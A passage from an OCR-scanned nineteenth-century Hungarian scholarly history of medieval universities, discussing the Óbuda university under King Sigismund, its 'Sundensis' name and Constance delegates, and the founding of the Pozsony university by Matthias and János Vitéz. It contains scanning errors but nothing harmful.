Bonifácz pápa 13S9-ben, pápaságának első évében, Zsigmond ki-
rály kérésére az ó-lmdai egyetemet megerősítette , a szokásos
privilégiumokkal és szabadságokkal ellátta, cancellárjának a Péter
apostolról czímzett ó-budai egyház prépostját nevezte ki, és elren-
delte, hogy az egyetem tanárainak fizetése ugyanazon egyház
préposti és kanonoki javadalmaiból álljon.
Nem kevesebb bajjal jár az egyetem nevének meghatározása.
Toldy (i. m. I. p. 151) és Laky (i. m. p. 45) minden alapot nélkülöző
feltevése szerint «neveSunda(Sigismundea) volt»).Wallaszky viszont
azt hitte (Tentam. p. 53), hogy «Sigismundea»-ból nem öSunda*)-,
hanem előbb wSundea)* keletkezett (mely nevek sehol sem fordulnak
elő) és hogy Hardt a koustanzi zsinatról szóló Actaiban e szónak
20
a betűjét hibásan w-nek olvasván, nevezte az egyetemet Academia
flSundensisD-nek. Csakhogy Hardt ezen elnevezést a konstanzi zsi-
nattal egykorú Reichenthali Ulriknek müvéből vette, és hogy ennél
nem ilyen olvasási hiba következtében támadt az ó-budai egyetem-
nek Sundensis elnevezése, mutatja «von der hohen schul zuSundens
in Ungern gelegenw kifejezése és azon körülmény, hogy Ulrik azon
magyar városok között, melyek külön követeket küldöttek a kon-
stanzi zsinatra (dOfen, Pressburg, Diernach, Sundens, Wissenburg,
Linburg, Hainburg, Sunden, Cronstattn p. 490 a legújabb photolitho-
graphikus kiadásban) felemlíti Sundens városát is. Reichenthali
Ulrik tehát a konstanzi zsinaton képviselt magyar egyetemről azon
véleményben volt, hogy az nem Budán, hanem Magyarországnak egy
Sundens nevű városában létezett, sfeltűnö, hogy SchrottnálCWappen-
buch des hohen geistlichen und weltlichen Standes der Christenheit
in Európa . . . 1576), kinél az egyetem (« Sundensis in Ungaria»)
czimeréhez a következő distichon van csatolva : "Sundensis terris
esset postrema scholarum, si tua non ferret, perfide Turca, iuga», a
magyar püspökök czimerei között a pozsonyi (!) és több más püspök
czímerén kívül látható egy « Sundensis » püspök czímereis, — mely
az Universitas Sundensisétöl csak annyiban különbözik, hogy alsó
mezője kékre van festve és üres^') — miért is Schönvisner azt gyaní-
totta, hogy az ó-budai egyetem a « Sundensis*) nevet a budai kápta-
lannak egy kanonokjának tiszteletére nyerte, ki egyszersmind a
Csongrád megyei Zyntha vagy Szyntha (mostZenta) város czímzetes
püspöke volt és az ó-budai egyetem körül nagy érdemeket szerzett
magának^^). Bármily bizonytalan külömben e feltevés, annyi világo-
san kitűnik Eeichenthali Ulrik és Schrott érintett helyeiből, hogy
tévedett Pálma is (Spec. Heraldicas Regni Hung. p. 40), mikor azt
hitte, hogy Schrott és a többiek, kiknél a Sundensis név előfordul,
az egyetem eredeti pecsétjében az S. betűt, mely Sigillum-ot jelent,
összezavarták aBudensis [Budense?]szóval, és hogyS. Budensis-ből
lett volna e szerint Sundensis, mely feltevés már azért sem lehet
helyes, mert az egyetem pecsétjét Schrott és társai nem is ismer-
ték és mi sem ismerjük. Azonkívül azon körülményből, hogy
Reichenthali Ulrik Ofen-t és Sundens-t mint két külön várost
említi fel, kitűnik az is, hogy téves Kaprinainak egyik felte-
vése is (Pálmánál i. h.), mely szerint a helyet, melyen Budán az
egyetem épült, Sundának hívták, mely feltéves mellett mindeddig
21
tudtommal csak Horváth István nyilatkozott (Pest szabad királyi
városnak régiOfen nevéről. 1810. p. 34): «1391-dikben (Buda) több
külső károsokat számlált maga alatt, mellyek között a Süuden,
mint a Sigmond királytól fölállifctatott főiskolának lakhelye a kon-
stancziai gyűlésben nem kevéssé elhiresedett. »
A kérdés már most csak az, el kell-e hinnünk Reichenthali
Ulriknek, hogy a konstanczi zsinaton képviselt magyar egyetem
nem Budán volt, hanem egy külömben egészen ismeretlen, de mint
egyetemi város eléggé jelentékeny Sundens nevű városban, mely
névben talán hajlandó lehetne az ember a Quinqueecclesiensis szó
elferdítését gyanítani (5 eccl.-ben az ötöst S-nek nézve, az ec-t
u-nak, a vonást n-nek, a cl-t d-nek), mert hogy Schrott, Münster
(Kosmographia. Basel. 1598) és Hardt csak Eeichenthali Ulrik-
böl merítették az üniversitas Sundensis elnevezést, ahg szen-
ved kétséget. — Véleményem szerint nem kell elhinnünk. Az ó-
budai egyetem a bécsi egyetem jegyzökönyveiben ]396ban és
141:2-ben is Üniversitas Budensisnek-nek neveztetik; egy Sundens
nevű magyar városról semmi tudomásunk sincs ; azon körül-
mény, hogy az « üniversitas Sundensis » tanárai között két budai
prépostot találunk, szintén a mellett bizonyít, hogy Reichenthali
Ulrik « üniversitas Sundensis)) -e Budán volt, és így alig tévedünk,
ha Kaprinaival (Pálmánál i. h.) Sundensist, Budensis helyett, írás
hibának nézzük, illetőleg velem feltesszük, hogy Reichenthali ülrik
úgy mint az esztergomi érseket két embernek nézte, a szerint a
mint ArchiepiscopusStrigoniensis-nek vagy ArchiepiscopusGranen-
sis-nek nevezték, úgy Buda városának Ofen és Buda nevei által félre-
vezetve hozta fel külön Ofen és Buda (hibásan : Sundens) városa kö-
veteit ; az üniversitas Budensis-ből aztán könnyen lehetett Sunden-
sis. Azt nem lehet Kaprinainak általam modificált eme magyarázata
ellen felhozni, hogy a dhohe schule zu Sundens (helyesebben : Bu-
dens) inüngergelegenw kifejezés e helyett, hogy «zu Sundao («zu
Buda»)nem correct; v. ö. ugyanazon munkában (p. 124 és 1G6 az
augsburgi kiadás szerint) a «Herrn Andreas ei'czhi&choű czu colocens
in ungarn» és ((erczbischoff von strigonensis))-féle kifejezéseket,
melyek kétségkívül ép oly félreértés útján támadtak az öArchiepi-
scopus Colocensis)>-ből és «Archiei3Íscopus Strigonensis«-ből, mint
«zu Sundens)) a « Sundensis)) (Budensis) melléknévből.
Sokkal könnyebb mint az egyetem nevének és keletkezése
22
évének meghatározása, az egyetem további sorsainak kipuhatolása.
A pápa megerősítő bulláját '1 eltekintve első biztos adatunk az,
hogy IX. Bonifácz pápa 1305-ben megengedte Lukács ó-buda\
prépostnak, hogy, bár ugyanazon évben esanádi püspökké nevez-
tetett ki, mely hivatalt 1395-töl 1397-ig viselte (Pray, Spec. Hier.
II. p. 295; 1397 jun. elsején a esanádi püspöki szék már ismét
üresedésben volt), mégis megtarthassa mind ó-lnidai prépostságát,
mind az ó-budai egyetem cancellári hivatalát, mely, mint Inliofft-r
idézett állításából és az okmány szavaiból is elég biztosan követ-
keztethető, mindig az ó-bndai prépostot illette -^).
Eövid idő alatt az egyetem, melyről Toldy (i, m. T. p. 151)
adatok hiányában még azt hitte, hogy « igazán soha sem virágzott »,
nagyon szépen fejlődött, — nagyrészt alkamasint annak következté-
ben, hogy egyetlen hazai vetélytársa, a pécsi egyetem, hittudományi
és úgy látszik orvostani karral nem birt — bár Szalay József azon
állítását (A magyar nemzet tört. II. p. 338), hogy « tanárai között
előkelő mSí.gyííY, német és olasz tudósok neveivel találkozunk, a kiket
(Zsigmond) kétségkívül [?] igen jól javadalmazott d és a kik Zsigmond
fl tudományos társaskörét)) képezték (i. m. p. 329), túlzottnak kell
tartanunk. Hozzájárult még, hogy a bécsi szomszédegyetem is
tőle telhetőleg támogatta az ifjú főiskolát. Artisticus (bölcsészeti)
facultása 1396. július 2-ikán Horawi János mestert, ki a budai
egyetemhez meghivatott tanárnak, felmentette a bécsi egyetemen
tartandó előadásaitól^"*), 1412 és 1415-ben pedig az ó-budai egye-
temnek két baccalaureusát , Briccius de Pest-et és Nicolaus
de Themesswar-t minden nehézség nélkül felvette a bécsi bacca-
laureusok sorába ^^) és ezáltal megadta nekik az engedélyt, hogy
segédtanári minőségben az előkészítő tudományokban a bécsi
egyetemen előadásokat tarthassanak.
Még inkább bizonyít az ó-budai egyetem virágzása mellett
azon körülmény, hogy 1415-ben a konstanzi zsinaton legkevesebb
hat tanár által, két theologus (egyikük egyházjog tanára is volt),
egy orvos, három jogász és talán még egy bölcsész által volt
képviselve ^^), mi arra enged következtetni, hogy az egyetemen
jóval nagyobb számban voltak a tanárok ; és hogy mennyit nyom
e körülmény, bizonyítja pl. a heidelbergi egyetem története,
mely egyetemnél eleinte (1385 táján) mindössze öt tanárból,
egy theologusból, egy decretistából, és három artistából állott
23
a tbeologiai, jogtudományi és bölcsészeti kar (V. ö. Paulsen, Hist.
Zeitschr. 1881. p. :2(Jo). Abból ugyan, hogy a követek közt egy
magister medicináé is előfordul, nem merném következtetni, hogy
az ó-budai egyetem orvosi kara az egy Clostein Simonon kivül más
tanárt is magáénak mondott, azért nem, mert a középkor legtöbb
egyetemén alig volt több egy-két Qrvostanárnál és ezek is nem rit-
kán szüneteltek előadásaikban (v. ö. Paulsen i. m. p. 305. 3()6), de
a többi karbeli tanárok solikal nagyobb számára talán mégis sza-
bad képviselőik elég tekintélyes számából következtetni, annál is
inkább, mert csak nem tehetjük föl, hogy az egyetem tanárai-
nak csak kisebb része maradt távol az előre láthatólag több
évig eltartó zsinatról.
A követség oka az egyházi szakadás volt. XXIII. János pápa
ugyanis az 1414-ik év közepe táján (a bécsi egyetem 1414. július
25-ikén kapta a meghívást) felszólította Európa egyes egyetemeit,
hogy küldjenek követeket a konstanzi zsinatra, és azt látjuk, hogy
a pápa ezen meghívásának a párisi, kölni, bécsi, heidelbergi, prá-
gai, aureliai (?), londoni, erfurti, heldenburgi, avignoni, bolognai,
krakkói és oxfordi egyetemeken kívül az «Universitas Sundensis»)
is engedett. Hogy hány követet küldött az ó-budai egyetem, nem
tudjuk meghatározni, és csak azt tarthatjuk valószínűnek, hogy az a
hat-hét tanár, ki az ó-budai egyetemrészéről a konstanzi zsinaton
az esztergomi érsek kíséretében megjelent ^''), nem volt mind az
egyetem hivatalos küldöttje. A már akkor is nagyon tekintélyes
bécsi egyetem pl., melyen azon időben mindig vagy negyven
tanár tartott előadásokat, csak két hivatalos követet küldött, kik-
hez a bölcsészeti kar a maga részéről még két követet csatolt
(Aschbach, I. p. 252), de minthogy az ilyen hivatalos küldött az
egyetem költségén utazott és tartózkodott a zsinaton, a Konstancz-
ban való tartózkodás pedig személyenkint egy napra egy egész
forintba került, az egyetem egynek kivételével ezen hivatalos követeit
is visszahívta. Hihető tehát, hogy ama hat-hét budai tanár közül is
legalább a fele nem hivatalos megbízás folytán, és így saját költségén
tartózkodott Konstanzban. — Ezen hat tanár Lambert budai pré-
post és egj^házjogi tanár ^^), Clostein Simon az orvostan magistere,
Henrik budai prépost és a theologia doctora ^^), két valószínűleg
magyarországi származású tudós : Diernachi Máté a theologiának
s az egyházjognak és Wissenburgi Tamás az egyházjognak tanára.
24
továbbá két doctor decretorum : Thadeus de Yico Mercato és Biszna-
wi Miklós volt, kikhez talán mint az egyetemen bölcsészeti karának
követe még Andreas artium magister csatlakozik. — Esezazutolsó
biztos adat, mely Zsigmond ó-budai egyeteméről ránk maradt.
Milyen instructiókkal látta el az egyetem követeit (a bécsieknek meg
volt hagyva, hogy főkép a simonia és az egyházi javaknak méltat-
lanoknak való elajándékozása ellen léjíjenek fel), milyen állást fog-
laltakelXXIII. János pápával szemben, mikor az egyetemek követeit
a zsinatról haza akarta küldeni, mit referáltak küldőiknek,
minderről nincs tudomásunk. Azt tudjuk a zsinat actáiból (Hardt,
Tomus II. RerumMagniConcilii Constantiensis. 1699. p.221- — 237),
hogy a scbismára és a reformatióra vonatkozó kérdésekben az
egj'etemek küldöttjei is birtak szavazattal és hogy a zsinaton jelen-
levő magyarok a oNatio Germanica»-hoz számíttattak (azonkívül
volt még Natio Anglica, Italica, Gallica és Hispanica, és evota
non personarum sed nationum censenda eranto), de mindebből az
ó-budai egyetem követeinek magatartására és működésére nem von-
hatunk következtetést, úgy hogy még azt sem vagyunk képesek
meghatározni, mily része volt az egj^etem követeinek a zsinat azon
határozataiban, melyek által XXIII. János pápának Magyar-
országra vonatkozó egyes káros intézkedései orvosoltattak (Fejér,
Cod. Dipl. X. V. 423, 596, 603). Legfeljebb azt tarthatjuk valószí-
nűnek, hogy 1418-ban a budai egyetem követei is hozzájárultak a
többi egyetemek képviselőivel együtt a « Natio Germanicaw azon
határozatához, hogy a székesegyházi kanonokságok epy hatod része
csak theologiae vagy iuris doctores-nek, vagy theologiae baccalaurei
formati-nak, vagy oly magistri medicináé és magistri artium-nak
adassanak, kik a magisterium elnyerése után két, illetőleg öt éven
át theologiát vagy jogot hallgattak, és hogy továbbá a társasegy-
házaknál fennálló kanonokságok csak egyetemi rangfokkal bíró,
graduált, egyéneknek adassanak, több mint 2000 áldozóval bíró
plébániák pedig csak theologiae vagy iuris doctores-nek, ha ilyenek
jelentkeznének. Lehetséges azonban, hogy ezen oly üdvös határo-
zatokat a clerus passiv ellenállása következtében nálunk ép oly
kevéssé sikerült keresztül vinni, mint a szomszéd Németország-
ban. — Nem valószínűtlen továbbá, hogy a budai egyetem követei
is részt vettek azon ünnepi körmenetekben (Reicheuthali Ulrik
különösen kettőt említ : (d 4-J5 am fritag in abrellen vor philippi et
':íb
Jakobiö, és 1417 űrnapján), melyeken többek közt a párisi, kölni,
erfurti, heidelbergi, bolognai és bécsi egj'etem követei is részt vettek,
és mely alkalommal minden eg3'es egyetem képviselői előtt egy ara-
nyozott ezüst pálczát vittek, «voran den gezachnot was iiss welcher
scbulen er wasD. Azt is feltehetjük, bogy követeink a saját
maguk érdekében a zsinat végéig Konstanzban időztek, mert nem
akarták magukat az egyetemek képviselőinek egy 1415-iki közös
határozata értelmében sem az örök kárhozatnak sem javadalmaik
elvesztésének kitenni. Végre lehet, hogy a budai egyetem kép-
viselőinek is részük volt 1417. június 16-ikán az egyenetlenkedő
«nationes» kibékítésében ; de biztosat erről sem mondhatunk.
Ép oly kevés biztos tudomásunk van az egyetem későbbi
sorsáról. Még csak azt sem tudjuk, rövid idővel Zsigmond halála
után szünt-e meg, vagy pedig még Zsigmond viharos uralkodása
alatt. Toldy szerint (i. m. I. p. 151) a budai egyetem «ha Zsig-
mond alatt nem, úgy hihetőleg elegendő alapítvány és népszerűség
hía miatt, és mert gazdag egyházra nem támaszkodott, ö utána bizo-
nyosan mindjárt elenyészett." És hasonlóan mondja Szalay József
(i. m. p. 338), hogy «az egyetem nem volt biztosan megalapítva —
költségeit talán a rendes jövedelmekből [??az ó-budai káptalan jö-
vedelmeiből !] fedezte Zsigmond — s alapítója halála után csakhamar
felbomlott. I) — Wallaszky (Tentam. p. 52. 53 és Consp. p. 112) azt
hitte, hogy Zsigmond és Albert halála után az Ulászló és V.László kö-
zötti viszálykodások, a török háborúk, és Ulászló eleste daczára az ó-
budai egyetem nem ment ugyan tönkre, de még sem bírt «ad iustam
magnitudinem provehi» és csak Mátyás király által restauráltatott
ismét. Mindezt Wallaszky azon körülményből következtette, hogy
azon okok között, melyek által indíttatva II. Pál pápa megengedte
Mátyásnak, hogy uj egyetemet alapítson, az is volt, hogy «in Hun-
gária non viijet aliquomodo stúdium generálé »>. De itt a «nem
nagyon virágzik* szavak, ha ugyan annyit tesz ,non viget aliquo-
modo' és nem annyit hog}' ,nem létezik', nem az ó-budai, hanem
valószínűleg a pécsi egyetemre vonatkoznak. — Laky (i. m. p. 46.
47) szerint «hogy nem emelkedhetett a 'drágzás ama pontjára,
melylyel a pécsi dicsekedhetett, azt rövid fennállásának s annak
tudhatjuk be, hogy nem volt a nemzeti hazafias szellem ápolója,
élesztője s így — mint Engel megjegyzi — német s olasz tanáraival
nem is folyt be nagy mérvben a hazai művelődés emelésére.* De
26
ezen nézet sem valószínű, mert az egyetem azon tanárai, kiknek
származásáról valamit tudunk, az egy Thadeus de Yicomercato
kivételével magyarországi származásúak voltak (Diernachi Máté
és Wissenburgi Tamás). — Végre Lányi is fi. p. 543) azt
mondja, hogy aez egyetem... Zsigmond király halálát túl
nem eltew, de már p. 5.52 ellenmond ezen állításának a követ-
kező elbeszéléssel: oDiadalteljes vitázatot ünnepelt a budai
eqi/etemnél 1444=l)en Mihály pálos szerzetes, sorbonnei tudor.
Tárgyául a boldogságos szűz szeplőtelen fogantatását vévé,
melyet más tanult szerzetes ellenében az egyetem polgárai előtt
védelmezett. Ellenese fennhangon kiáltá ki az ellenvetéseket, úgy,
hogy Mihály tudor hirtelen elnémula s mindenek bámulására
megadást színlelve, a szószékről lelépett. Másnap az egyetem táb-
láján fenemlített tannak részletes tételeit akármely tudós ellen
védelmezni vállalkozott. Mind a tárgy fontossága, mind a sorbon-
nei tudor tegnapi vélt kudarcza s mai fennen bizakorló felhívása
folytán a kitűzött órára az egyetem csarnokában a deákokon kívül
Ulászló király, főurak, előkelők mind megjelentek. Mihály atya
ekkor általános helyeslés közt g3'őztesen védelmezte a maga téte-
leit." Hasonlóan nyilatkozott Lányi wMagyar katholikus clerus
érdemeinek történet igazolta emléke » (1848) czimü munkájában
p. 94: ((Mihály atya paulin szerzetes . . . Budára érkezve az egye-
temnél oktatott, a szeplőtlen fogantatás tanját a király, főpapok s
uraknak legnépesb gj^üldéjében védelmezé, mel}- tárgyról írt is,
azon fölül a szent lélekről, a remeték cselekvényiröl s a paulin
közgyüldék beszédeit írta lei). És Pfeiffer Antal is (A Magyar iro-
dalomtörténet, tanügy és könyvnyomda 1450 — 1500-ig. Budapest,
1877. p. 21) hivatkozik Mihály paulinusnak 1444-ben a budai egye-
temen tartott vitázatára. E szerint tehát a budai egyetem még
1444-ben is virágzott volna. De ha megnézzük Lányi forrását, a
wFragmen panis eorvi seu reliquiíe annalium eremicoenobitico-
ram ordinis fratrum eremitarum .... Yiennae 16G3« czímű müvet
(p. 20), látni fogjuk, hogy mind a mit Lányi idézett elbeszélésében
a budai egyetemről olvasunk, Lányi saját toldaléka^^). — Nem
kevésbbé hibás végre Lányinak egy Wallaszky föntebb említett
hibás nézetéből kiinduló állítása (Kath. clerus érdemei, p. 84), hogy
t. i. Zsigmond király egyeteme még Mátyás király korában is
fenállott, és hogy az 1481. táján a budai dömések zárdájában elhe-
±1
lyezett egj^etem Zsigmond egyetemével azonos ; megczáfolja ezen
föltevést a Mátyás király egyetemének alapításáról való egyetlen
forrásunk, Niger Péter, ki a budai egyetem alapítását világos
szavakkal Mátyás királynak tulajdonítja.
Az Universitas Budensis elenyésztének idejét és többi körül-
ményeit tehát még sokkal sűrűbb homály födi, mint keletkezé-
séét, és úgy látszik, le is kell mondanunk azon reményről, hogy a
ránk maradt és eddig napfényre került adatok nyomán valamikor
a föntebb közlötteknél biztosabb és határozottabb eredményekhez
fogunk jutni.
IV. A pozsonyi egyetem.
De nem sok évnek kellett elmúlni, míg Magyarország ismét
teljes egyetem birtokában volt, melyen nemcsak, mint Pécsett,
úgy szólván kizárólag a jogot, hanem a többi tudományt is előadták.
Azon férfiú, ki ezen új főiskola alapítását indítványozta, kétség-
kívül A^itéz János volt, kinek buzdítására Mátyás király annál
készebb volt uj egyetemet létesíteni, mert jól tudta, hogy teljes
főiskola híjában több, kivált szegénysorsú olyan alattvalója, ki a
tanulmányokhoz szép tehetséggel és képzettséggel bírt, inkább elha-
nyagolta további kiképeztetését, semminthogy messze földre, ide-
gen országba ment volna egyetemre ; mert hogy a vagyonosabbak
mint Németországban, úgy nálunk is teljes hazai egyetem felállí-
tása után is nagy számmal fogják fölkeresni a párisi, bécsi, bolog-
nai, ferrarai és paduai egyetemeket, hol a bölcsészeti, theologiai,
jogi és humanisticus tanulmánj^ok leginkább virágoztak, az iránt
Mátyás király is aligha kételkedett. — Mátyás kérésére 11. Pál pápa
1465. május 19-ikén Vitéz .Jánoshoz és Janus Pannoniushoz inté-
zett bullájában, melyet nem tudom, nem az akkortájban mint a
magyar király követe Piómában időző Janus Pannonius eszközölt-e
ki, felhatalmazta a prímást — az okmány folyamában a pápa,
mint Fraknói is észrevette, csak egy föjjaphoz szól — hogy az
ország bármely városában vagy helységében, melj^et a király e
czélra kijelölne, egyetemet alapíthasson minden facultással, can-
cellári hivatallal és tanárainak rendes fizetésével. Megengedte
továbbá, hogy az új egyetemet a bolognainak mintájára berendezze,
annak minden statútumát, szokását és rendeletét a pápai széktől
::!8
nyert megerősítés után átvegye, és adandó alkalommal alkalmas
és képzett egyéneket minden egyetemi rangra promoveáljon és
rangjának jelvényeivel felruházzon ^^). A pápai megerősítésben fog-
lalt ezen engedélyt igényibe vette-e Vitéz, egyetemét csakugyan a
bolognai egyetem mintájára rendezte-e be, nagyon is kétes. A bolog-
nai egyetemen a tanulók a «citramontani)) és «ultramontam» két
nagy csoportjára oszoltak, tanáraikat maguk választották egy-egy
évre, évenkint egy-egy rectort választottak maguknak, kinek köte-
lessége volt a tanulók javát előmozdítani, a szabályok megtartása
fölött őrködni, a tanulók közt vagy ezek és idegenek köztfenforgó
perekben bíráskodni és negyven solidust (= 3 frt.) túl nem baladó
ügyeket húsz nap alatt elintézni ; beleegj'ezése nélkül egy tanulót
sem lehetett a püspök vagy tanár elé idézni (V. ö. Lányi, Egyháztört,
I.p. 549. 550). Mindez a «citramontani» és « ultrámon tani)) -félé be-
osztás kivételével olyan dolog ugyan, melyet a pozsonyi egyetemenis
keresztül lehetett volna vinni, de ha megfontoljuk, hogy egész közép
Európában csak az 1460-ban alapított baseli egyetemen követték
a bolognai rendet, de ott is csak rövid ideig, 1481-ig, és csak
annyiban, hogy az egyetemi tanulókra bízták a rectorválasz-
tást ; és ha továbbá tekintetbe veszszük, hogy biztos tudomá-
sunk szerint a pozsonyi egj'etem tanárait a cancellár, Vitéz
nevezte ki, és peres ügyeit nem a rector, hanem a cancellár intézte
el, bátran állíthatjuk, hogy a pozsonyi egyetem nem a bolognai
módjára volt berendezve, mint azt Lányi is hitte, hanem a franczia
és német egyetemek módjára. Ilyenformán tehát Vitéz nem is szo-
rult újabb pápai megerősítésre és annál hamarább mindjárt hozzá-
láthatott az egyetem felállításához, mi azonban meglehetősen
hosszú ideig tartott, némelyek véleménye szerint ^^) azért, mert
Vitéz minden áron Esztergomban akarta az új egyetemet felállí-
tani, de valószínűleg azért, mert a tanárok összegyűjtése stb. sok
időt vett igénybe ; legkevésbbé valószínű Laky Mátyásnak azon
föltevése (Művelődésünk tényezői Zsigmond alatt. Budapest. 187G.
p. 43), hogy az ((esztergomi nagyobb szabású főtanodat, melyen
1325-ben többek közt egy János nevű honti főesperes, az orvostu-
dományoknak (artium in medicinis), egy András nevű egyén pedig a
széptudományoknak (artium liberalium) tanára volt, a « Vitéz-féle
fötanodával)) (a pozsonyi egyetemmel?) összeolvadt, mely föltevés
természetesen a pozsonyi egyetem késő inaugurálásának okára
29
vonatkozó föntebbi gyanításunkkal nem épen könnyen volna össze-
egyeztethető.
Mátyás király azt határozta, hogy Pozsonyban (Istropolisban)
legyen az iij egyetem széke, az országnak Buda után talán legjelenté-
kenyebb városában, hol a virágzó bécsi egyetemnek közelsége is buz-
ditólag kellett hogy hasson az új főiskola tanáraira és hallgatóira.
Gmaintl István, a városnak egy kiváló és érdemes polgára nem
rég figyermek nélkül elhalván ^^), Mátyás király a íiskusra maradt
házát, mely a prépostság keleti oldalán közel a város falaihoz a ki-
rályi kertek közepette a mai jogakadémia helyén állott ^^j, oda
ajándékozta az egyetemnek, egy szépen épitett kőfal által egészen
a szomszéd plébániai temetőig megnagyobbittatta, és elren-
delte, hogy a ház egyik felében a tantermek, másik felében pedig
régi egyetemi szokás szerint a tanárok és (kétségkivül bizonyos
lakbér fejében) a tanulók lakásai legyenek, a mi természetesen ki
nem zárja azon lehetőséget, hogy a tanulók egy része helyszűke
miatt az egyetemi épületen kivül magisterek által vezetett úgy-
nevezett bursákban volt kénytelen lakást keresni. Az ellenkező
eset állott be az 1456-ban alapitott greifswaldi egyetemen, hol a
collegium maius artistarum-ban hat tanár és kétszáz tanuló, a col-
legium minus artistarum-ban négy tanár és százötven tanuló szá-
mára volt hely (a tanulók közül mindegyik átlag egy forintot
fizetett évenkint szobájáért), de ezen épületek túlságosan nagyok
voltak az egyetem csekély számú hallgatósága számára.
A feladat legnehezebb és legköltségesebb részét, a tanárok
megszerzését, Vitéz magának tartotta fenn^'^), a mint egyáltalá-
ban az új egyetem felállításában oly nagy része volt, hogy kortár-
sai, mint pl. a bécsi egyetem hittani kara, a pozsonyi egyetemet,
meljmek Vitéz csak cancellárja^^) volt, az ö egyetemének is nevez-
ték. Igyekezeteit aránylag rövid idő alatt a legszebb siker koronázta,
úgy hogy sikerült neki a pozsonyi főiskola számára több oly
tanárt megnyerni , kikre minden egyetem joggal büszke lehe-
tett volna.
1467. július 18-ikán Esztergomból irt levelében már fel-
szólíthatta Pozsony városának hatóságát, hogy a tanárokat, kiket
Esztergomból Pozsonyba küldött, hogy az előadások végre
elkezdődhessenek, valamint a tanuló ifjúságot, szívesen fogad-
ják és minden kellemetlenség és bajtól megóvják ■^^). A levél kelte
30
után barmad napra (jul. 20-ikán) a tanárok egy része — egy másik
részét már június vége felé, egy néhány nappal az egyetemnek az
esztergomi csillagdában történt «instituciója» után Pozsonyban
találjuk — meg is érkezett Pozsonyban, és a város elöljárósága
által csil)ével, ballal, süteménynyel, mindenféle gyümölcscsel és
borral — a középkori egyetemi tanárok szegényes életmódját te-
kintve — fényesen megvendégeltetett ^^j. De az előadások akkor,
úgy látszik, még nem kezdődtek meg, és július vége felé már későn
is lett volna. A prágai egyetemen július 14-étől augusztus :25-ikéig
(Tomek, p. 30), a bolognai egyetemen augusztus elsejétől október
közepéig tartottak a szünetek (Lányi, Egybáztört. p. 554), a bécsi
egyetemen a juristák és artisták július 13-ikától augusztus 16-ikáig,
a tbeologusok, úgy mint a párisi egyetemen, június Íi9-ikétől szep-
tember 15-ikéig, az orvosok szeptember 7-ikétöl a jövő tanév elejéig,
azaz október 14-ikéig szüneteltek (Aschbach, I. p. 63), és épen nem
valószinű, hogy a pozsonyi egyetemen a szokásos rendet annyira
fölforgatták volna, hogy július végével kezdették volna az előadáso-
kat, mikor még azonkívül az egyetemi épület, melyet csak augusz-
tus hó folyamában alakíttatott át a város új rendeltetésének meg-
felelően, el sem készült még egészen. Azért azonban a tanárok
jelenléte Pozsonyban július vége felé még sem volt fölösleges; egy-
részről a végett, hogy az új egyetemhez a tanév kezdete előtt is
már tóduló ifjúságnak legyen kihez fordulni, másrészről, hogy a
tanárok maguk kellően elhelyezhessék és berendezhessék magukat,
nagyon jó volt az a pár heti időköz, mely őket az első egyetemi tanév
megnyitásától elválasztotta. — Es a legszebb auspiciumok között
nyilt meg ez az első tanév, ha az ifjú főiskola tanári karát tekintjük.
Köztük első heh'en korának legnagyobb csillagásza Joannes Pvegio-
montanus érdemel említést, kit Vitéz még 1467-ben megbízott
a «Tabulae directionumi> megírásával és Esztergomból mint a
quadrivium tanárát Pozsonyba küldött ^^), hol Eegiomontanus való-
színűleg előadta már több mint száz évvel Galilaei előtt a föld
mozgásáról szóló tanát. Továbbá azt említi Vitéz Pozsonj' városá-
nak tanácsához intézett említett levelében, hogy egy bizonj-os
(•Magister Petrus ^°) doctor artium et medicináé »)-n kívül, ki hihető-
leg egymaga képezte az új egyetem orvosi karát, meg két jelenté-
keny tanárt ^^) küld az egyetemhez. Az egyik cMagister Martinus
doctor artium I), és Toldy feltevése szerint (II. p. '2í) a szabad
31
művészetek tanára, kétségkívül Ilkusch Márton volt, kitünö astro-
logus és Vitéz Jánosnak, valamint Mátyás királynak kiváló ked-
vencze, kivel később a budai egyetemen is találkozunk ; a másik,
((fráter Johannes, doctor decretorum et magister sacras theologiíED,
ki Toldy feltevése szerint (II. p. í!4) az egyházi jog- és bittudo-
mányt tanította, alkamasint azonos Gattus Jánossal, ki a XY. szá-
zad második felében a tbeologiában, mathematikában, astrono-
miában, philosopbiában, és a kánoni s római jogban való alapos
ismeretei által nagy hírre tett szert, és egy ideig Esztergomban
Vitéz udvaránál tartózkodott, hol egyszer Mátyás király tudomá-
nyos vitában fényesen legyőzte őt.
Ugyanazon levelében Vitéz más tanároknak közel megérke-
zését is kilátásba helyezte, kikért részint Franczia-, részint Olasz-
országba küldött volt, másrészről pedig a bécsi egyetemnek egy
l^ár jelentékeny tanárát is megakarta nyerni új egyeteme számára.
Mindenekelőtt egy szepesi hazánkfiára, Krumpachi Koch Lö-
rinczre, vetette szemeit, ki valószínűleg már 1449-ben jött a bécsi
egyetemre, 1 4-6 l-ben bécsi magister artiummá lett, 1462-ben mint a
hittudományi kar jeles tanulója ünnepi szent beszédet mondott*^),
1463-ban a ómagyar nemzet » procurátora volt a bécsi egyetemen,
és eleinte többnyire a mértannal foglalkozó szerzőkről tartott elő-
adásokat. De itt Vitéz váratlan nehézségekre akadt. A bécsi
egyetem szabályai szerint ugyanis a hittani kar tanulóinak vagy
akár bölcsészettudorokuak (artium magistri-nek) is hat évig kellett
theologiai collegiumokat hallgatni, mielőtt a theologiai baccalau-
reatus elnyeréséért folyamodhattak volna. Ha azután a hittani ktír
jónak látta a jelölt folyamodványát tekintetbe venni, meghatá-
rozott az ó- és uj szövetségből egy szakaszt vagy könyvet, melyből
a jelöltnek egy tanár, «doctor régens », felügyelete alatt két éven át
előadásokat kellett tartani, mely előadások befejezése után már
nem mint oBiblicusD, hanem mint «Sententiariusi) köteles volt
Petrus Lombardus scholasticus Sententiáinak első két könyvét
egy egész éven keresztül előadni. Csak ezen három évi cursus
befejezése után volt a jelölt theologiai baccalaureus, «Bacca-
laureus in Theologia fornaatusM (V, ö. Aschbach, I. p. 106)
és csak mint ilyen tarthatott valamely egyetemen theologiai rendes
előadásokat. Krumpachi Lőrincz pedig, bár már legkésőbb 1462-ben
a hittudományi kar hallgatója volt, nem tudjuk mily okból, de
3í2
lehet hogy azért, mert eg\^-két évig nem járt az egyetemre, még
1469, augusztus havában sem volt a baccalaureatus elnyerésére
szükséges bibliai felolvasások tartására feljogosítva, miért is Vitéz
mindenek előtt szükségesnek látta, hogy úgy mint egy pár nappal
azelőtt egy másik pártfogoltjának, Grueber Mátyásnak, úgy most
Krumpachi Lörincznek is megszerezze a kérdéses jogot ■^^).
